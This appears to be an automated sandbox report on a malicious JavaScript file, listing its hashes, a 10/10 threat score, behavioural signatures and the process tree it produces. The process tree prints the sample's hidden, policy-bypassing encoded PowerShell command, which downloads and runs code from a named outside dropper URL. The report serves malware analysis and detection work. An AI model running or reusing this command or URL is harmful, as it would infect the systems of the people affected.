Analysis
- max time kernel
16s - max time network
136s - platform
windows10_x64 - resource
win10v20210410 - submitted
29/07/2021, 05:06
Static task
static1
Behavioral task
behavioral1
Sample
2021APT-28_86826453.js
Resource
win7v20210408
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
2021APT-28_86826453.js
Resource
win10v20210410
0 signatures
0 seconds
General
- Target 2021APT-28_86826453.js
- Size 100KB
- Sample210729-9yptadhd5e
- SHA256 cc006ebbcc9dafa2056bdef21d69836a9b46d9accc6080b93e768a98397e9afa
- MD5 29a76c5fdb5147c66092d0f4e424ec80
- SHA1 ede9d41990fc808a17021f351fc7583720a4e5f1
- SHA512 1c6607b0862d28b7d6634cb84b1acaa86dbca32d05bf346594c739ea154ed957d694caf8887cf1a6254048620c9bfdc6d9159f46936b8b4126f11b962c04e5a1
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://smart-integrator.hr/pornhub.php
Signatures
- Blocklisted process makes network request 1 IoCs
flow pid Process 10 4060 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
pid pid_target Process procid_target 1300 4060 WerFault.exe 78 - Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 4060 powershell.exe 4060 powershell.exe 4060 powershell.exe 1300 WerFault.exe 1300 WerFault.exe 1300 WerFault.exe 1300 WerFault.exe 1300 WerFault.exe 1300 WerFault.exe 1300 WerFault.exe 1300 WerFault.exe 1300 WerFault.exe 1300 WerFault.exe 1300 WerFault.exe 1300 WerFault.exe 1300 WerFault.exe 1300 WerFault.exe 1300 WerFault.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4060 powershell.exe Token: SeDebugPrivilege 1300 WerFault.exe - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2256 wrote to memory of 3604 2256 wscript.exe 76 PID 2256 wrote to memory of 3604 2256 wscript.exe 76 PID 3604 wrote to memory of 4060 3604 cmd.exe 78 PID 3604 wrote to memory of 4060 3604 cmd.exe 78
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\2021APT-28_86826453.js1⤵
- Suspicious use of WriteProcessMemory
PID:2256 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA2⤵
- Suspicious use of WriteProcessMemory
PID:3604 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4060 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4060 -s 23044⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1300
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